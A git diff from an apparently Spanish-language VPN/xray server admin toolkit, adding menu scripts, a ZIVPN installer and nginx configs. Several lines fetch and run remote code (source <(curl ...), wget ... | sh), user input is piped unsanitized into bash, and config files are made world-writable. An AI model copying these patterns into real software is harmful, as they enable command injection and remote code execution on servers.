"\033[3;32mvmess://$(echo {\"v\": \"2\", \"ps\": $ps, \"add\": $addip, \"port\": $port, \"aid\": $aid, \"type\": \"gun\", \"net\": $net, \"path\": $path, \"host\": $host, \"id\": $id, \"tls\": $tls} | base64 -w 0)\033[3;32m" +} +} + +alterid(){ + while : + do + aid=$(jq '.inbounds[].settings.clients[0].alterId' $config) + clear + msg -bar3 + blanco " configuracion alterId" + msg -bar3 + col2 " alterid:" "$aid" + msg -bar3 + col "x)" "VOLVER" + msg -bar3 + blanco "NUEVO VALOR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = x ]] && break + + mv $config $temp + new=".inbounds[].settings.clients[0]" + echo jq \'$new += \{alterId:${opcion}\}\' $temp \> $config | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco "Nuevo AlterId fijado" + msg -bar3 + restart_v2r + sleep 0.2 + done +} + +port(){ + while : + do + port=$(jq '.inbounds[].port' $config) + clear + msg -bar3 + blanco " configuracion de puerto" + msg -bar3 + col2 " Puerto:" "$port" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUEVO PUERTO" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + mv $config $temp + new=".inbounds[]" + echo jq \'$new += \{port:${opcion}\}\' $temp \> $config | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco " Nuevo Puerto fijado" + msg -bar3 + sleep 0.2 + restart_v2r + done +} + +address(){ + while : + do + add=$(jq '.inbounds[].domain' $config) && [[ $add = null ]] && add=$(wget -qO- ipv4.icanhazip.com) + clear + msg -bar3 + blanco " configuracion address" + msg -bar3 + col2 "address:" "$add" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUEVO ADDRESS" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + mv $config $temp + echo "cat $temp | jq '.inbounds[] += {domain:\"$opcion\"}' >> $config" | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco "Nuevo address fijado" + msg -bar3 + restart_v2r + sleep 0.2 + done +} + +host(){ + while : + do + host=$(jq '.inbounds[].streamSettings.wsSettings.headers.Host' $config) && [[ $host = null ]] && host='sin host' + clear + msg -bar3 + blanco " configuracion Host" + msg -bar3 + col2 "Host:" "$host" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUEVO HOST" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + mv $config $temp + echo "cat $temp | jq '.inbounds[].streamSettings.wsSettings.headers += {Host:\"$opcion\"}' >> $config" | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco "Nuevo Host fijado" + msg -bar3 + restart_v2r + sleep 0.2 + done +} + +path(){ + while : + do + path=$(jq '.inbounds[].streamSettings.wsSettings.path' $config) && [[ $path = null ]] && path='' + clear + msg -bar3 + blanco " configuracion Path" + msg -bar3 + col2 "path:" "$path" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUEVO Path" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + mv $config $temp + echo "cat $temp | jq '.inbounds[].streamSettings.wsSettings += {path:\"$opcion\"}' >> $config" | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco "Nuevo path fijado" + msg -bar3 + sleep 0.2 + restart_v2r + done +} + +crt_man(){ + while : + do + clear + msg -bar3 + blanco "configuracion de certificado manual" + msg -bar3 + + chek=$(jq '.inbounds[].streamSettings.tlsSettings' $config) + [[ ! $chek = {} ]] && { + crt=$(jq '.inbounds[].streamSettings.tlsSettings.certificates[].certificateFile' $config) + key=$(jq '.inbounds[].streamSettings.tlsSettings.certificates[].keyFile' $config) + dom=$(jq '.inbounds[].domain' $config) + echo -e " \033[4;49minstalado\033[0m" + col2 "crt:" "$crt" + col2 "key:" "$key" + col2 "dominio:" "$dom" + } || { + blanco " certificado no instalado" + } + + msg -bar3 + col "1)" "ingresar nuevo crt" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "opcion" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + clear + msg -bar3 + blanco "ingrese su archivo de certificado\n ej: /root/crt/certif.crt" + msg -bar3 + blanco "crt" 0 + read crts + + clear + msg -bar3 + blanco " nuevo certificado" + msg -bar3 + blanco " $crts" + msg -bar3 + blanco "ingrese su archivo key\n ej: /root/crt/certif.key" + msg -bar3 + blanco "key" 0 + read keys + + clear + msg -bar3 + blanco " nuevo certificado" + msg -bar3 + blanco " $crts" + blanco " $keys" + msg -bar3 + blanco "ingrese su dominio\n ej: netfree.xyz" + msg -bar3 + blanco "dominio" 0 + read domi + + clear + msg -bar3 + blanco "verifique sus datos sean correctos!" + msg -bar3 + blanco " $crts" + blanco " $keys" + blanco " $domi" + msg -bar3 + continuar + read foo + + mv $config $temp + echo "cat $temp | jq '.inbounds[].streamSettings.tlsSettings += {certificates:[{certificateFile:\"$crts\",keyFile:\"$keys\"}]}' | jq '.inbounds[] += {domain:\"$domi\"}' | jq '.inbounds[].streamSettings += {security:\"tls\"}' >> $config" | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco "nuevo certificado agregado" + msg -bar3 + restart_v2r + sleep 0.2 + done +} + +install(){ + clear + install_ini + msg -bar3 + blanco " Esta por intalar xray!" + msg -bar3 + blanco " La instalacion puede tener\n alguna fallas!\n por favor observe atentamente\n el log de intalacion,\n este podria contener informacion\n sobre algunos errores!\n estos deveras ser corregidos de\n forma manual antes de continual\n usando el script" + msg -bar3 + sleep 0.2 + blanco "Enter para continuar..." + read foo + config='/etc/xray/config.json' + tmp='/etc/xray/temp.json' + source <(curl -sL https://raw.githubusercontent.com/ChumoGH/ADMRufu/main/Utils/xray/xray.sh) + #restart_v2r + echo "source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/xray_manager.sh)" > /bin/v2r.sh + chmod +x /bin/r.sh +} + +xray_tls(){ + clear + msg -bar3 + blanco " certificado tls xray" + echo -e "Ingrese Correo Temporal o Fijo \n Para Validar su Cerficicado SSL " + read -p " Ejemplo > email=my@example.com : " -e -i $(date | md5sum | head -c15)@gmail.com crreo + msg -bar3 + wget -O - https://get.acme.sh | sh -s email=$crreo + xray tls + msg -bar3 + continuar + read foo +} + +xray_stream(){ + clear + msg -bar3 + blanco " instalacion de protocolos xray" + msg -bar3 + xray stream + msg -bar3 + continuar + read foo +} + +xray_menu(){ + clear + msg -bar3 + blanco " MENU xray" + msg -bar3 + xray +} + +backups(){ + while : + do + unset opcion + unset PID + if [[ $(ps x | grep "http-server" | grep -v grep) = "" ]]; then + PID="\033[0;31m[offline]" + else + PID="\033[1;92m[online]" + fi + + clear + title " Config de Respaldos" + col "1)" "Respaldar Ahora" + col "2)" "\033[1;92mRestaurar Respaldo" + col "3)" "\033[0;31mEliminiar Respaldos" + col "4)" "\033[1;34mRespaldo en linea $PID" + col "5)" "\033[1;33mRespaldos automatico $(on_off_res)" + msg -bar3 + + col "6)" "\033[1;33m RESTAURAR Online PORT :81 " + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "opcion" 0 + read opcion + + case $opcion in + 1) autBackup + clear + title " Nuevo Respaldo Creado..." + sleep 0.2;; + 2) restore;; + 3) rm -rf $backdir/*.tar + clear + title " Almacer de Respaldo limpia..." + sleep 0.2;; + 4) server;; + + + 5) if [[ $(cat $v2rdir/conf | grep "autBackup" | cut -d " " -f2) = "0" ]]; then + sed -i 's/autBackup 0/autBackup 1/' $v2rdir/conf + else + sed -i 's/autBackup 1/autBackup 0/' $v2rdir/conf + fi;; + 6) + clear + echo -e "\033[0;33m + ESTA FUNCION EXPERIMENTAL +Una vez que se descarge tu Fichero, Escoje el BackOnline + + + OJO + + + Luego de Restaurarlo, Vuelve Activar el TLS + Para Validar la Configuracion de tu certificao" +msg -bar3 +echo -n "INGRESE LINK Que Mantienes Online en GitHub, o VPS \n" +read -p "Pega tu Link : " url1 +wget -q -O $backdir/BakcOnline.tar $url1 && echo -e "\033[1;31m- \033[1;32mFile Exito!" && restore || echo -e "\033[1;31m- \033[1;31mFile Fallo" && sleep 0.2 + ;; + 0) break;; + *) blanco "opcion incorrecta..." && sleep 0.2;; + esac + done +} + + +restablecer_v2r(){ + clear + title " restablecer ajustes xray" + echo -e " \033[0;31mEsto va a restablecer los\n ajustes predeterminados de xray" + echo -e " Se perdera ajuste previos,\n incluido los Usuarios\033[0m" + msg -bar3 + blanco "quiere continuar? [S/N]" 0 + read opcion + msg -bar3 + case $opcion in + [Ss]|[Yy]) xray new;; + [Nn]) continuar && read foo;; + esac +} + +remove_all(){ + sed -i '/net.core.default_qdisc/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_congestion_control/d' /etc/sysctl.conf + sed -i '/fs.file-max/d' /etc/sysctl.conf + sed -i '/net.core.rmem_max/d' /etc/sysctl.conf + sed -i '/net.core.wmem_max/d' /etc/sysctl.conf + sed -i '/net.core.rmem_default/d' /etc/sysctl.conf + sed -i '/net.core.wmem_default/d' /etc/sysctl.conf + sed -i '/net.core.netdev_max_backlog/d' /etc/sysctl.conf + sed -i '/net.core.somaxconn/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syncookies/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_tw_reuse/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_tw_recycle/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_fin_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_keepalive_time/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_local_port_range/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_syn_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_tw_buckets/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_rmem/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_wmem/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_mtu_probing/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_forward/d' /etc/sysctl.conf + sed -i '/fs.inotify.max_user_instances/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syncookies/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_fin_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_tw_reuse/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_syn_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_local_port_range/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_tw_buckets/d' /etc/sysctl.conf + sed -i '/net.ipv4.route.gc_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_synack_retries/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syn_retries/d' /etc/sysctl.conf + sed -i '/net.core.somaxconn/d' /etc/sysctl.conf + sed -i '/net.core.netdev_max_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_timestamps/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_orphans/d' /etc/sysctl.conf + clear + echo -e " \033[0;92mLa aceleración está Desinstalada." + sleep 0.1 +} + +bbr(){ + while : + do + clear + title " ACELERACION BBR" + blanco " Esto activara la aceleracion\n por defecto de su kernel.\n no se modoficar nada del sistema." + msg -bar3 + col "1)" "Acivar aceleracion" + col "2)" "quitar toda aceleracion" + msg -bar3 + col "0)" "volver" + msg -bar3 + blanco "opcion" 0 + read opcion + case $opcion in + 1) + remove_all + echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf + echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf + sysctl -p + echo -e " \033[0;92m¡BBR comenzó con éxito!";; + 2)remove_all;; + 0)break;; + *)blanco " seleccione una opcion" && sleep 0.2;; + esac + done +} + +settings(){ + while : + do + clear + msg -bar3 + blanco " Ajustes e instalacion xray" + msg -bar3 + col "1)" "address" + col "2)" "puerto" + col "3)" "alterId" + col "4)" "Host" + col "5)" "Path" + msg -bar3 + col "6)" "certif ssl/tls (script)" + col "7)" "certif menu nativo" + col "8)" "certif ingreso manual" + msg -bar3 + col "9)" "protocolo menu nativo" + col "10)" "conf xray menu nativo" + col "11)" "restablecer ajustes" + msg -bar3 + col "12)" "BBR nativo del sistema" + col "13)" "install/re-install xray" + msg -bar3 + col "14)" "Conf. Copias de Respaldos" + msg -bar3 + col "0)" "Volver" + msg -bar3 + blanco "opcion" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + case $opcion in + 1)address;; + 2)port;; + 3)alterid;; + 4)host;; + 5)path;; + 6)domain_check && clear ;; + 7)xray_tls;; + 8)crt_man;; + 9)xray_stream;; + 10)xray_menu;; + 11)restablecer_v2r;; + 12)bbr;; + 13)install;; + 14)backups;; + *) blanco " solo numeros de 0 a 14" && sleep 0.2;; + esac + done +} +enon(){ +echo "source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/xray_manager.sh)" > /bin/xr.sh +chmod +x /bin/xr.sh + clear + msg -bar3 + blanco " Se ha agregado un autoejecutor en el Sector de Inicios Rapidos" + msg -bar3 + blanco " Para Acceder al menu Rapido \n Utilize * xr.sh * !!!" + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSi deseas desabilitar esta opcion, apagala" + echo -e " Y te recomiendo, no alterar nada en este menu, para" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo +} +enoff(){ +rm -f $(which xr.sh) + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSe ha Desabilitado el menu Rapido de v2r.sh" + echo -e " Y te recomiendo, no alterar nada en este menu, para" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo +} + +enttrada () { + + while : + do + clear + msg -bar3 + blanco " Ajustes e Entrasda Rapida de Menu xray" + msg -bar3 + col "1)" "Habilitar xr.sh, Como entrada Rapida" + col "2)" "Eliminar xr.sh, Como entrada Rapida" + msg -bar3 + col "0)" "Volver" + msg -bar3 + blanco "opcion" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + case $opcion in + 1)enon;; + 2)enoff;; + *) blanco " solo numeros de 0 a 2" && sleep 0.1;; + esac + done + +} + + +main(){ + [[ ! -e $config ]] && { + clear + msg -bar3 + blanco " No se encontro ningun archovo de configracion xray" + msg -bar3 + blanco " No instalo xray o esta usando\n una vercion diferente!!!" + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSi esta usando una vercion xray diferente" + echo -e " y opta por cuntinuar usando este script." + echo -e " Este puede; no funcionar correctamente" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo + } + while : + do + _usor=$(printf '%-8s' "$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')") + _usop=$(printf '%-1s' "$(top -bn1 | awk '/Cpu/ { cpu = "" 100 - $8 "%" }; END { print cpu }')") + [[ -e /bin/v2r.sh ]] && enrap="\033[1;92m[ON]" || enrap="\033[0;31m[OFF]" + [[ -e /etc/xray/config.json ]] && _v2Reg="$(cat /etc/xray/config.json | jq .inbounds[].settings.clients[].email|wc -l)" || _v2Reg=0 + [[ -e /etc/xray/config.json.lock ]] && _v2LOCK="$(cat /etc/xray/config.json.lock|wc -l)" || _v2LOCK=0 + clear + title2 + title " Ram: \033[1;32m$_usor \033[0;31m<<< \033[1;37mMENU xray \033[0;31m>>> \033[1;37mCPU: \033[1;32m$_usop" + col "1)" "CREAR USUARIO" + col "2)" "\033[0;92mRENOVAR USUARIO" + col "3)" "\033[0;31mREMOVER USUARIO" + col "4)" "VER DATOS DE USUARIOS \033[1;32m ( ${_v2Reg} )" + col "5)" "VER USUARIOS CONECTADOS" + col "b)" "LOCK/UNLOCK USUARIOS \033[1;32m ( ${_v2LOCK} ) " + msg -bar3 + col "6)" "\033[1;33mAJUSTES XRAY $_v2" + msg -bar3 + col "7)" "\033[1;33mENTRAR CON \033[1;32mxr.sh $enrap" + msg -bar3 + col "8)" "SALIR \033[0;31m|| $(blanco "Respaldos automaticos") $(on_off_res)" + msg -bar3 + blanco "opcion" 0 + read opcion + + case $opcion in + 1) add_user;; + 2) renew;; + 3) dell_user;; + 4) view_user;; + 5) usrCONEC ;; + 6) settings;; + 7) enttrada;; + b) _lo_un;; + 0) break;; + *) blanco "\n selecione una opcion del 0 al 7" && sleep 0.1;; + esac + done +} + +[[ $1 = "autoDel" ]] && { + autoDel +} || { + autoDel + main +} diff --git a/Recursos/zivpn-inst.sh b/Recursos/zivpn-inst.sh new file mode 100644 index 0000000..3f57559 --- /dev/null +++ b/Recursos/zivpn-inst.sh @@ -0,0 +1,87 @@ +#!/bin/bash +clear +cat <<< '╻┏┓╻┏━┓╺┳╸┏━┓╻ ┏━┓┏┓╻╺┳┓┏━┓ ╺━┓╻╻ ╻┏━┓┏┓╻ +┃┃┗┫┗━┓ ┃ ┣━┫┃ ┣━┫┃┗┫ ┃┃┃ ┃ ┏━┛┃┃┏┛┣━┛┃┗┫ +╹╹ ╹┗━┛ ╹ ╹ ╹┗━╸╹ ╹╹ ╹╺┻┛┗━┛ ┗━╸╹┗┛ ╹ ╹ ╹' +msg -bar +msg -ama 'ACTUALIZANDO PAQUETES' +apt update -y && apt upgrade -y +systemctl stop zivpn.service 1> /dev/null 2> /dev/null +clear +msg -bar +msg -ama 'DESCARGANDO CÓDIGO BASE DE ZIVPN' +[[ $(uname -m) != 'x86_64' ]] && { + fun_bar 'wget https://github.com/zahidbd2/udp-zivpn/releases/download/udp-zivpn_1.4.9/udp-zivpn-linux-amd64 -O /usr/local/bin/zivpn' +} || { + fun_bar "$(wget -O /usr/local/bin/zivpn https://github.com/zahidbd2/udp-zivpn/releases/download/udp-zivpn_1.4.9/udp-zivpn-linux-arm64 &> /dev/null)" +} + +chmod +x /usr/local/bin/zivpn +[[ ! -d /etc/adm-lite/zivpn ]] && { + mkdir /etc/adm-lite/zivpn 1> /dev/null 2> /dev/null + ln -s /etc/adm-lite/zivpn /etc/zivpn +} +sleep 2 +for((i=0;i<2;i++));do tput cuu1&&tput dl1 ; done +msg -ama 'DESCARGANDO COMPONENTES ESENCIALES' +fun_bar 'wget https://raw.githubusercontent.com/zahidbd2/udp-zivpn/main/config.json -O /etc/adm-lite/zivpn/config.json' +sleep 2 +clear +cat <<< '╻┏┓╻┏━┓╺┳╸┏━┓╻ ┏━┓┏┓╻╺┳┓┏━┓ ╺━┓╻╻ ╻┏━┓┏┓╻ +┃┃┗┫┗━┓ ┃ ┣━┫┃ ┣━┫┃┗┫ ┃┃┃ ┃ ┏━┛┃┃┏┛┣━┛┃┗┫ +╹╹ ╹┗━┛ ╹ ╹ ╹┗━╸╹ ╹╹ ╹╺┻┛┗━┛ ┗━╸╹┗┛ ╹ ╹ ╹' +msg -bar +echo -e " $(printext 'GENERANDO CERTIFICADO')" +openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj "/C=US/ST=California/L=Los Angeles/O=@drowkid01/OU=@drowkid01/CN=@drowkid01" -keyout "/etc/adm-lite/zivpn/zivpn.key" -out "/etc/adm-lite/zivpn/zivpn.crt" +sysctl -w net.core.rmem_max=16777216 1> /dev/null 2> /dev/null +sysctl -w net.core.wmem_max=16777216 1> /dev/null 2> /dev/null +cat < /etc/systemd/system/zivpn.service +[Unit] +Description=UDP-ZIVPN by @drowkid01 +After=network.target + +[Service] +Type=simple +User=root +WorkingDirectory=/etc/adm-lite/zivpn +ExecStart=/usr/local/bin/zivpn server -c /etc/adm-lite/zivpn/config.json +Restart=always +RestartSec=3 +Environment=ZIVPN_LOG_LEVEL=info +CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_RAW +AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_RAW +NoNewPrivileges=true + +[Install] +WantedBy=multi-user.target +EOF +tput cuu1&&tput dl1 +echo -e " $(msg -verd '[✓] CERTIFICADO GENERADO CORRECTAMENTE [✓]')" +echo -e " \e[1;97mCertificado alojado en: /etc/zivpn" +msg -bar +msg -ama 'Ingrese 1 ó varias contraseñas separadas por comas, ejemplo: elkakas,chumoghesjoto,melapela' +#read -p "Enter passwords separated by commas, example: passwd1,passwd2 (Press enter for Default 'zi'): " input_config +msg -ne 'Ingrese la/las contraseña/s' +read -p $': \e[1;32m ' input_config +if [ -n "$input_config" ]; then + IFS=',' read -r -a config <<< "$input_config" + if [ ${#config[@]} -eq 1 ]; then + config+=(${config[0]}) + fi +else + config=("zi") +fi + +new_config_str="\"config\": [$(printf "\"%s\"," "${config[@]}" | sed 's/,$//')]" + +sed -i -E "s/\"config\": ?\[[[:space:]]*\"zi\"[[:space:]]*\]/${new_config_str}/g" /etc/zivpn/config.json + +systemctl enable zivpn.service +systemctl start zivpn.service +iptables -t nat -A PREROUTING -i $(ip -4 route ls|grep default|grep -Po '(?<=dev )(\S+)'|head -1) -p udp --dport 6000:19999 -j DNAT --to-destination :5667 +ufw allow 6000:19999/udp +ufw allow 5667/udp +rm zi2.* 1> /dev/null 2> /dev/null +clear +msg -bar&&msg -verd '[✓] MÓDULO ZIVPN INSTALADO CORRECTAMENTE [✓]' + diff --git a/conf/.gitignore b/conf/.gitignore new file mode 100644 index 0000000..68b7d12 --- /dev/null +++ b/conf/.gitignore @@ -0,0 +1 @@ +nginx diff --git a/conf/cert.crt b/conf/cert.crt new file mode 100644 index 0000000..de31e33 --- /dev/null +++ b/conf/cert.crt @@ -0,0 +1,56 @@ +-----BEGIN CERTIFICATE----- +MIIEJzCCAw+gAwIBAgISA29P4rkLtq2D4DdtS39yHWY7MA0GCSqGSIb3DQEBCwUA +MDIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQswCQYDVQQD +EwJSMzAeFw0yNDA0MjMxNDQ1NTRaFw0yNDA3MjIxNDQ1NTNaMB4xHDAaBgNVBAMT +E2Vsa2lkcGEuZHVja2Rucy5vcmcwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAARf +FLnDsB8rkSkgSRiFTu+ODwdkNTCfWcEFjEveY+QzBIsS/eGi21BwpUZ75/oDkrpE +JAlCF34/wKe/H+46W+Rmo4ICFDCCAhAwDgYDVR0PAQH/BAQDAgeAMB0GA1UdJQQW +MBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQv +XAeEG8y4l8CVm3u+icZKBmwmxDAfBgNVHSMEGDAWgBQULrMXt1hWy65QCUDmH6+d +ixTCxjBVBggrBgEFBQcBAQRJMEcwIQYIKwYBBQUHMAGGFWh0dHA6Ly9yMy5vLmxl +bmNyLm9yZzAiBggrBgEFBQcwAoYWaHR0cDovL3IzLmkubGVuY3Iub3JnLzAeBgNV +HREEFzAVghNlbGtpZHBhLmR1Y2tkbnMub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIB +MIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHYAPxdLT9ciR1iUHWUchL4NEu2QN38f +hWrrwb8ohez4ZG4AAAGPC6KPvAAABAMARzBFAiAOjdqktD5H0hfzbG26tvPD7jV2 +UXHMAync3TlUgxKd5gIhAK1mCmbXHFujc3CIVkWSY3KCuQEdgVHPcft8HXWd1ZC+ +AHUAdv+IPwq2+5VRwmHM9Ye6NLSkzbsp3GhCCp/mZ0xaOnQAAAGPC6KP/wAABAMA +RjBEAiBRGNdZpu+lBF6Brk3oE9zcjmf+g2x9jg4v9CWyXiPCOwIgYRk0QYfXYCJ3 +keTo9nc4w9hob7OpGio3z8n0ZyobvaAwDQYJKoZIhvcNAQELBQADggEBAA8D8CM3 +ZHwXSjhG+upRKXyaZbOnhfMXCtAEpT7LCmBJJcbHtsVDlAtDghNZwSPFWe8WqwB6 +5S/z/xqqZQnfbja409lAVsAWqpzpBWdZQelVZDT3vPLLQpBn/5LWegauVooTJ7vP +xSamb9jy2T1zsEUqd9NxwpwiQd+QHM/ZEkMM++FbpQT8xw9SGToBPWIDn1ymR/WP +dgw+DIP/i6O0IScV28Z6iuTi6EjjEHttHghzLO6fxn7z8dHjE96ucA9kGot3UOr2 +DOfK4erfFXBHZgnnOdIk0d06HntZoOnkurEqQqpZEkRWqwgf1Z5CQzc4oEU9hvgB +dafJJijr2tpxcgk= +-----END CERTIFICATE----- + +-----BEGIN CERTIFICATE----- +MIIFFjCCAv6gAwIBAgIRAJErCErPDBinU/bWLiWnX1owDQYJKoZIhvcNAQELBQAw +TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh +cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjAwOTA0MDAwMDAw +WhcNMjUwOTE1MTYwMDAwWjAyMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg +RW5jcnlwdDELMAkGA1UEAxMCUjMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK +AoIBAQC7AhUozPaglNMPEuyNVZLD+ILxmaZ6QoinXSaqtSu5xUyxr45r+XXIo9cP +R5QUVTVXjJ6oojkZ9YI8QqlObvU7wy7bjcCwXPNZOOftz2nwWgsbvsCUJCWH+jdx +sxPnHKzhm+/b5DtFUkWWqcFTzjTIUu61ru2P3mBw4qVUq7ZtDpelQDRrK9O8Zutm +NHz6a4uPVymZ+DAXXbpyb/uBxa3Shlg9F8fnCbvxK/eG3MHacV3URuPMrSXBiLxg +Z3Vms/EY96Jc5lP/Ooi2R6X/ExjqmAl3P51T+c8B5fWmcBcUr2Ok/5mzk53cU6cG +/kiFHaFpriV1uxPMUgP17VGhi9sVAgMBAAGjggEIMIIBBDAOBgNVHQ8BAf8EBAMC +AYYwHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsGAQUFBwMBMBIGA1UdEwEB/wQIMAYB +Af8CAQAwHQYDVR0OBBYEFBQusxe3WFbLrlAJQOYfr52LFMLGMB8GA1UdIwQYMBaA +FHm0WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcw +AoYWaHR0cDovL3gxLmkubGVuY3Iub3JnLzAnBgNVHR8EIDAeMBygGqAYhhZodHRw +Oi8veDEuYy5sZW5jci5vcmcvMCIGA1UdIAQbMBkwCAYGZ4EMAQIBMA0GCysGAQQB +gt8TAQEBMA0GCSqGSIb3DQEBCwUAA4ICAQCFyk5HPqP3hUSFvNVneLKYY611TR6W +PTNlclQtgaDqw+34IL9fzLdwALduO/ZelN7kIJ+m74uyA+eitRY8kc607TkC53wl +ikfmZW4/RvTZ8M6UK+5UzhK8jCdLuMGYL6KvzXGRSgi3yLgjewQtCPkIVz6D2QQz +CkcheAmCJ8MqyJu5zlzyZMjAvnnAT45tRAxekrsu94sQ4egdRCnbWSDtY7kh+BIm +lJNXoB1lBMEKIq4QDUOXoRgffuDghje1WrG9ML+Hbisq/yFOGwXD9RiX8F6sw6W4 +avAuvDszue5L3sz85K+EC4Y/wFVDNvZo4TYXao6Z0f+lQKc0t8DQYzk1OXVu8rp2 +yJMC6alLbBfODALZvYH7n7do1AZls4I9d1P4jnkDrQoxB3UqQ9hVl3LEKQ73xF1O +yK5GhDDX8oVfGKF5u+decIsH4YaTw7mP3GFxJSqv3+0lUFJoi5Lc5da149p90Ids +hCExroL1+7mryIkXPeFM5TgO9r0rvZaBFOvV2z0gp35Z0+L4WPlbuEjN/lxPFin+ +HlUjr8gRsI3qfJOQFy/9rKIJR0Y/8Omwt/8oTWgy1mdeHmmjk7j1nYsvC9JSQ6Zv +MldlTTKB3zhThV1+XWYp6rjd5JW1zbVWEkLNxE7GJThEUG3szgBVGP7pSWTUTsqX +nLRbwHOoq7hHwg== +-----END CERTIFICATE----- diff --git a/conf/default.conf b/conf/default.conf new file mode 100644 index 0000000..725c2c3 --- /dev/null +++ b/conf/default.conf @@ -0,0 +1,38 @@ +server { + listen 80; + server_name localhost; + + #access_log /var/log/nginx/host.access.log main; + + location / { + root /usr/share/nginx/html; + index index.html index.htm; + } + + #error_page 404 /404.html; + + # redirect server error pages to the static page /50x.html + # proxy the PHP scripts to Apache listening on 127.0.0.1:80 + # + location ~ \.php$ { + proxy_pass http://127.0.0.1:443; + } + + # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 + # + #location ~ \.php$ { + # root html; + # fastcgi_pass 127.0.0.1:9000; + # fastcgi_index index.php; + # fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; + # include fastcgi_params; + #} + + # deny access to .htaccess files, if Apache's document root + # concurs with nginx's one + # + #location ~ /\.ht { + # deny all; + #} +} + diff --git a/conf/nginx.conf b/conf/nginx.conf new file mode 100644 index 0000000..f66b041 --- /dev/null +++ b/conf/nginx.conf @@ -0,0 +1,53 @@ +user www-data; + +worker_processes 1; +pid /var/run/nginx.pid; + +events { + multi_accept on; + worker_connections 1024; +} + +http { + gzip on; + gzip_vary on; + gzip_comp_level 5; + gzip_types text/plain application/x-javascript text/xml text/css; + + autoindex on; + sendfile on; + tcp_nopush on; + tcp_nodelay on; + keepalive_timeout 65; + types_hash_max_size 2048; + server_tokens off; + include /etc/nginx/mime.types; + default_type 